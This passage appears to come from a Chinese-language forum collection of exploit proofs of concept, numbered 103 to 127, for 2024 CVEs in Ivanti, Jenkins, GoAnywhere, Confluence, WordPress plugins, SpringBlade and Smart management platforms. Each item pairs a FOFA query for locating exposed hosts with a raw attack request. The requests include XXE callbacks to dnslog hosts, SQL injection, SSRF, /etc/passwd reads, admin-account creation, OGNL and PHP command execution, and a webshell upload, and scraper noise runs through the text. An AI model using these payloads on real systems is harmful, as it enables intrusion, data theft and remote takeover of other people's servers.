" b2 M& W# `$ j# Y- J6 @7 [. x: U" ]<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
: w- Y3 W# a( o! a; E, C2 sFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
- m4 b9 @) J- JHost: 192.168.40.130:111
- Y6 x! K& L$ x$ `User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
) e  L; {+ i2 V) CContent-Type: application/x-www-form-urlencoded
! v$ o* C; A; t9 J% [Accept-Encoding: gzip
% w* c7 `$ z/ G6 ?
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


* k8 T9 x: P% A4 }104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
  e1 N8 A" c/ W3 w3 iPOST /cgi-bin/cstecgi.cgi HTTP/1.1
5 S# |9 R0 u; A2 W; ?0 XHost:192.168.0.1
7 {' j2 {9 X: ^* T; H) e0 F3 VContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
' \( O) u# U; I1 ?5 RX-Requested-with: XMLHttpRequest
7 m5 v0 o  {7 GUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
( Q3 B- G3 H; W6 y3 a$ w. RContent-Type: application/x-www-form-urlencoded:charset=UTF-8
3 @7 c( H, f* b9 \1 F. NOrigin: http://192.168.0.1
- W3 O( a2 P, O7 L$ t) e% Q7 yReferer: http://192.168.0.1/advance/index.html?time=1671152380564
0 C+ X4 N/ q4 o. h- s6 P* m$ h9 z9 [Accept-Encoding:gzip,deflate
2 }4 d* E* B% ]1 _: s, ?) EAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
8 ^( o/ K; D  JConnection:close

% D8 B5 ^0 [4 h. Y+ H/ d0 T{
"topicurl":"getSysStatusCfg",
"token":""
}
% U4 g- n7 H# ]2 o) R4 X- J
; f* [: {3 U# i1 @: _) v! j105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
7 @1 N* b' s# J" m2 h- Whttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

9 U7 }* O! I$ R( g$ _( b106. SpringBlade dict-biz/list SQL 注入
  h% N% g! k( U9 f# PFOFA：body="Saber 将不能正常工作"
# f- L) g9 B8 ]4 q# S* G8 P: }( eGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
7 y7 H- {) F* @8 L# J8 R# U0 mHost: your-ip
8 a; `2 e4 F3 e1 f. RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" v4 W! X$ g8 k# OBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
5 U6 ]" K0 u+ N* q8 F0 ~Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 f0 n5 {) r, @0 u; g% I% _( S7 e
' R. l* z& u; N% u3 X; ?8 x
5 N) z* }6 P" X9 o1 u4 |  Q! W107. SpringBlade tenant/list SQL 注入
3 f! T) A! J: a  R- aFOFA：body="https://bladex.vip"
/ h! H8 w6 _7 _1 R4 f* CGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' e- G$ Z) i7 \3 \4 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
3 |, i7 W  X+ oConnection: close
9 O9 g2 l7 Q" f- V4 U

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
2 |1 u7 c0 }1 X* R/ ?5 wFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
1 G: \( d. d' k  ?* H6 ?& HAccept: application/json, text/plain, */*
  g, W% ?0 v& z3 J; }# s; zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
, C" I  \$ C" h6 t) P$ aConnection: close
  M0 I, j; a- F! p0 C

. h9 F. d+ h( l+ ]109. Jenkins CLI 任意文件读取
CVE-2024-23897
4 z( I1 y8 U2 H. T1 R2 j  c6 b( |FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
0 p* k, }0 @- oHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
3 x! P% v$ y9 b! bConnection: keep-alive
9 N7 W7 c7 L: i, ^% ^* t! q! X9 B5 {Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
' [  d! M* |4 K+ p2 \* ~

POST /cli?remoting=false HTTP/1.1
8 e4 P  R3 T$ k3 j7 X/ Y! V- V  uHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
- a+ T* }, \0 GContent-Type: application/x-www-form-urlencoded
- a8 q4 w# }' [, oContent-Length: 0
# w$ ^6 b4 H) u4 {; \

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
! ~* o" n, n6 @. oLists all the available commands or a detailed description of single command.
( W8 a/ k2 Y1 n! F  W COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
7 T3 u* C3 M$ b
4 a/ T/ R6 K: @3 v8 B7 {. U
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
7 V" j, R& T% X, w: {7 G+ BFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
) g. z# X# Q9 L& t' A4 SGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
) k& l4 C9 _: ]8 X  W8 [1 kAccept: */*
5 d- f6 t$ Y- H1 U' I5 ~; k8 GAccept-Language: en
Accept-Encoding: gzip

0 z$ K. L& ?$ E+ {
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
4 K% ?6 J& n3 rFOFA："wordpress" && body="html5-video-player"
4 G+ P7 u' r5 N7 |# h/ M- I7 OGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
* ~% h9 t& ^' j$ S9 fHost: 192.168.40.130:112
* A' U3 C; z8 L( X1 z0 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
4 n# N4 Z+ E; m, C% W, I7 h& hAccept: */*
& `1 x" C, }) oAccept-Language: en
) K! M: C$ e1 d, z& [2 n4 vAccept-Encoding: gzip


4 L' F( f0 n  ]. f% J112. WordPress Plugin NotificationX SQL 注入
# j5 ^# g2 }, ^! XCVE-2024-1698
1 K4 a' ?1 l, H) ]/ @: TFOFA：body="/wp-content/plugins/notificationx"
. ^, H& A0 |# r/ d! b" g0 aPOST /wp-json/notificationx/v1/analytics HTTP/1.1
1 y+ O0 C# ]% B9 @* Y" L4 tHost: {{Hostname}}
Content-Type: application/json
. X1 S; `) C- L, t% E' q: ^( Z
8 z+ S" {0 V( p# r1 K$ e) {{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

# N" ~4 I; Z  g- z. c
113. WordPress Automatic 插件任意文件下载和SSRF
7 L% ?. n! p! {; c/ f- m/ n' J& f0 }3 [CVE-2024-27954
  Q6 C0 ]5 A( qFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
5 m$ D: v$ b+ `- KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
! R+ ~1 i1 ?, x+ k) A/ K( FAccept: */*
: l( M0 W! M5 |8 ], P5 z6 Z7 F. [Accept-Language: en
# b% l, x' q  ^0 ~2 vAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
% M7 |  |! b/ c) J, ^8 JFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
5 U! q, q( Q3 T" THost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
/ Q+ Z+ }, Z/ }! P  |' [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
6 d4 Y3 X7 C- R6 A$ b6 RConnection: close
3 |/ E. Y* y, c: J) F5 q
2 E9 d* T  g  D' P
4 e* _4 W' d/ P+ u- v0 \) b115. WordPress Bricks Builder <= 1.9.6 RCE
) M' {/ |: z, ]% k' }# m! b4 RCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
6 l; F5 C  R7 n; o, e9 c第一步，获取网站的nonce值
3 n* j2 H$ [4 Z+ b6 IGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
0 q1 \: ]# s$ S* i! W3 }# dAccept-Encoding: gzip
( V! y' u6 _+ y: G7 L4 a+ G. ~

0 j. o; [0 m- R第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
; s% E" r8 z( J% SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
4 r4 X9 N- p- E; |2 f, U9 UContent-Length: 356
Content-Type: application/json
5 J+ N( S# ^# aAccept-Encoding: gzip
* r$ E) D0 J" F! w) m
{
"postId": "1",
  "nonce": "第一步获得的值",
# f, u5 P  \. {3 Y  "element": {
5 b$ X6 q. e* F1 Q( u- m3 J    "name": "container",
    "settings": {
. T) N  {& ~, P, n: z      "hasLoop": "true",
! x0 Q( [; g) T& i6 d0 M9 E      "query": {
/ v" D( e( |% u$ Y% g; X9 J5 g        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
% J: M! R; E% V: |7 l% i0 q7 t    }
% G9 O! x8 k9 s) H: A. K3 t  }
}
; r7 F+ p# z% j1 W* _0 J$ r
# q& H# n% q9 d* r. D1 g8 }8 X: S
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
% {3 {' i2 v# yHost:
' Z0 h+ ~9 Y: N2 F+ f4 c+ C8 u0 DContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

- k9 g( j0 X$ k4 w----------767099171
Content-Disposition: form-data; name="action"
. `1 _* P5 O' yconfiguration_saveconfiguration
----------767099171
  b4 c! l2 T8 Z' k2 g/ |0 _Content-Disposition: form-data; name="form_request"
jssupportticket
- `, H- e5 u' {* D----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
1 w$ W5 u  ?# S! @6 G----------767099171--
6 T2 Y# }0 a$ h( g1 ?7 ^

117. WordPress LayerSlider插件SQL注入
4 `( Z$ [# Y! h9 i$ sversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
% p% t; ]/ v) e( S: R7 @7 N, THost: your-ip
) D) p( a5 |, f0 \% _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 c* Z: @% b5 |1 a2 k/ gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
/ n  f+ V  W9 O; t( [! G: bConnection: close
Upgrade-Insecure-Requests: 1


; \/ f1 I" h& ^, i118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
% @* v8 R' F3 P, h9 [3 L3 iFOFA：title="Smart管理平台"
& s, V! G; r" V% p! g9 \6 u$ }3 KPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
, W8 V" O8 z$ H6 D# O, u; ]Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
3 u, ?' Y6 \* X5 J$ A" r+ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 K6 Z! ]1 {9 |! I( O# bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# l5 \! x+ @5 G; |1 g$ lContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
4 b9 ]5 c5 V9 O# ?Content-Length: 405
) I. l/ H2 r3 T1 VOrigin: https://192.168.40.130:8443
4 m0 z$ s3 t" k, E# T" N* j- HReferer: https://192.168.40.130:8443/Tool/uploadfile.php
" S. ^5 Z4 ]/ x" a/ X0 ]Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 o0 j3 K& i6 mSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
6 Q- e+ E8 g' MSec-Fetch-User: ?1
Te: trailers
/ {8 }% _: `2 ?. t. k1 C! xConnection: close

-----------------------------13979701222747646634037182887
6 |5 @% c6 t: x$ [: V6 PContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

* Y/ \4 d# \" u% j! W<?php
7 P; k1 v  n$ N) t! `+ N6 P+ _system($_POST["passwd"]);
?>
" C0 m* C1 z5 A& Z) w% ^$ {! y; f-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--


- V& |" N# d/ D访问/home/src.php
! a0 }& o" q( }4 N
119. 北京百绰智能S20后台sysmanageajax.php sql注入
. X4 N/ Z8 _3 O$ f8 U+ f& e: }7 nCVE-2024-1254
0 I! p0 W4 N. F% m$ @* P) b; \FOFA：title="Smart管理平台"
, [6 q2 o' E  Y/ q4 X) L先登录进入系统，默认账号密码为admin/admin
# k0 L5 B9 R- A& p* }$ O* I+ m6 V1 OPOST /sysmanage/sysmanageajax.php HTTP/1.11
- K0 u' k  H$ }3 h7 N9 `* NHost: x.x.x.x
4 @# c7 ~8 R" L2 o% SCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
; Y5 v+ W' l" U2 ]1 H) aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
& Z' z6 Y: f) ?) aReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( k) B6 h' T+ \! lSec-Fetch-Dest: empty
. P* }& S4 `9 L* c2 ?& n( sSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
5 ^. u5 j7 m) `9 I! P  fX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
9 S2 o1 K, U( _) a3 k  i  LX-Remote-Ip: 1.1.1.1
* @7 Y) x. N9 J- DX-Remote-Addr: 1.1.1.1
& _3 Q: `2 @. b+ v/ l* k6 I* r: BTe: trailers
$ G5 L4 T( n# ^( ~' wConnection: close

& c$ Z$ [' w9 d9 b& i$ `7 Psrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
  R8 u3 @( ^4 P% ?CVE-2024-1253
( P2 g& _# F. v/ NFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
0 x$ {6 \) r2 w# d! |4 MUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
' ^- ]4 @2 a4 s% A; @& PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# e* G+ p. s: E8 W3 ?Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
% X$ P: x* s% G( J3 q3 y% tOrigin: https://ip:port
: E) S; R2 C/ c, J/ y. JReferer: https://ip:port/sysmanage/licence.php
; e, w* b- [" K' O+ Z0 GUpgrade-Insecure-Requests: 1
# c8 f/ Z, c1 }3 ^3 Z) FSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
7 r% ^5 L, W* [' S( m
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
7 P1 |) B0 l+ P# V+ c! {
. L; P5 h9 ^+ M$ q. |6 ?/ ]' u6 R! ~<?php phpinfo()?>
-----------------------------42328904123665875270630079328
7 {! o% }; y1 Q4 e! e8 V! k! JContent-Disposition: form-data; name="id_type"
2 h1 C& {; d6 x, g. f
* }8 _. @9 u6 }! T1
& _6 x' ?8 X' p& w! d; |7 f/ L+ ~; O-----------------------------42328904123665875270630079328
% i0 |8 t3 ^7 b0 v8 D: Y0 q" nContent-Disposition: form-data; name="1_ck"

8 R7 R% c1 S" D1 b3 v1_radhttp
-----------------------------42328904123665875270630079328
; Z3 h- D' n0 u+ W0 ~* O$ Q6 l6 aContent-Disposition: form-data; name="mode"

& s* |1 S3 R; m$ _. n/ Pimport
+ o- Z, V8 V3 R! `  t-----------------------------42328904123665875270630079328
4 S! S' O, Y3 T
& F2 H  H$ H$ i5 \7 a2 u" V
" I0 y# K- a! K4 T- b* p0 l' X( |文件路径/upload/2.php
3 h# {# ^) ?) I5 ^6 `7 l
' Q% g  f% L" W3 `6 O, \4 ~121. 北京百绰智能S42管理平台userattestation.php任意文件上传
$ P! M( U0 E  \& o7 S  nCVE-2024-1918
FOFA：title="Smart管理平台"
3 Q0 t& o; U3 Q' F7 ~! dPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  T) w( \. J$ MAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
. r; G* @, ^1 GSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
4 }7 R1 `5 [  V3 i% USec-Fetch-User: ?1
) K8 D& r1 ]' x; K6 T' \' P/ mTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
5 ~6 |- X/ \" A: ?3 y8 Z. o! fContent-Type: application/octet-stream

7 p" M- H2 ?- O% q* q<?php phpinfo();?>
) r: Q9 V' E7 m$ ?: V2 v-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

: \) g9 k( J8 M# f  ]7 _- [; t1
-----------------------------42328904123665875270630079328
: D& V! l/ D9 f% ZContent-Disposition: form-data; name="1_ck"
* z, O$ v. \/ _0 O
1_radhttp
5 w4 p/ G3 @$ {. g, k-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

' q$ R$ f" r' {  h% j$ d& H& g% Lset
-----------------------------42328904123665875270630079328

8 Y4 S  E% {7 [" _& w( |% W1 }4 m
' G& u8 q% i9 j% G4 `boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
9 C% T1 y4 H: T$ o. `. z( h其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
3 r5 h# w* k3 s1 {3 n! Y/ kCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ |3 x3 }. K) MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, E) Y7 F- C, L$ w, @/ q0 h( V3 G/ rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* [! [6 C1 n+ M( a( m4 x2 fUpgrade-Insecure-Requests: 1
; w& G8 l7 y; a- E( k) rSec-Fetch-Dest: document
% ^7 j3 o4 B7 L  J) z3 ^% W' Q! WSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
/ Z, b* w9 ~: D( SConnection: close
, G8 J$ s; r6 e0 \, u
* o) |; \: U0 Y% ~6 q
3 N4 i9 A; p! O4 F5 U123. Atlassian Confluence 模板注入代码执行
! b' l4 [. S; D! J4 w/ y; p+ b/ EFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
7 ?3 S( f( {+ t/ [Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
3 R& V$ J" i/ p! U1 ?0 LConnection: close
Content-Type: application/x-www-form-urlencoded
2 p) B- l5 k. Y& n' x" C( v
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
  d; Q1 v7 b2 }, h: K' g* K9 RPOST /Scripts/admintool?type=updatefile HTTP/1.1
5 p. m# J0 n- j5 ?) mHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
& b  j8 @' }/ X8 O% F$ c* q& U. tAccept-Encoding: gzip, deflate, br
, P. f0 D+ l7 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ ]2 a: W5 Z- c7 n& v0 ^+ NContent-Type: application/x-www-form-urlencoded
$ e, d2 Z: i& I7 V* Z" n8 Z7 a1 A5 o$ h
' `$ _" F+ K6 ~2 O, QfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

$ z% m9 \2 R! h* H3 s2 J) N
3 S+ [. J2 T% [1 a. U- H1 Vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
& P2 r' t" ^+ ~  [9 R" r2 r1 L7 d
8 z# M" w  h, S: F: N0 V: G; q125. ConnectWise ScreenConnect身份验证绕过
5 a6 J3 J/ J3 h. i7 bCVE-2024-1709
$ U+ o1 a! W2 o: L) `FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
$ u9 R/ d- l; Y
6 D$ }# |4 @. Z7 R' o* y+ [/ j! C
9 h- }  ]+ V( E* D3 Y" K* S使用方法
" D0 n2 k3 ?% h; s; fpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

2 _9 ]4 w: ?' c* G
" [7 M- J1 ?' r" P创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
+ D  i7 q, @% hGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
. r1 I0 a) M! B* J. p# j9 |" {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
# k# W0 d9 O" r7 N7 mAccept-Language: en
Accept-Encoding: gzip


0 a  N; }. n9 q2 \- m& x5 q3 r127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- J" V/ }" k$ g2 ?" uHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
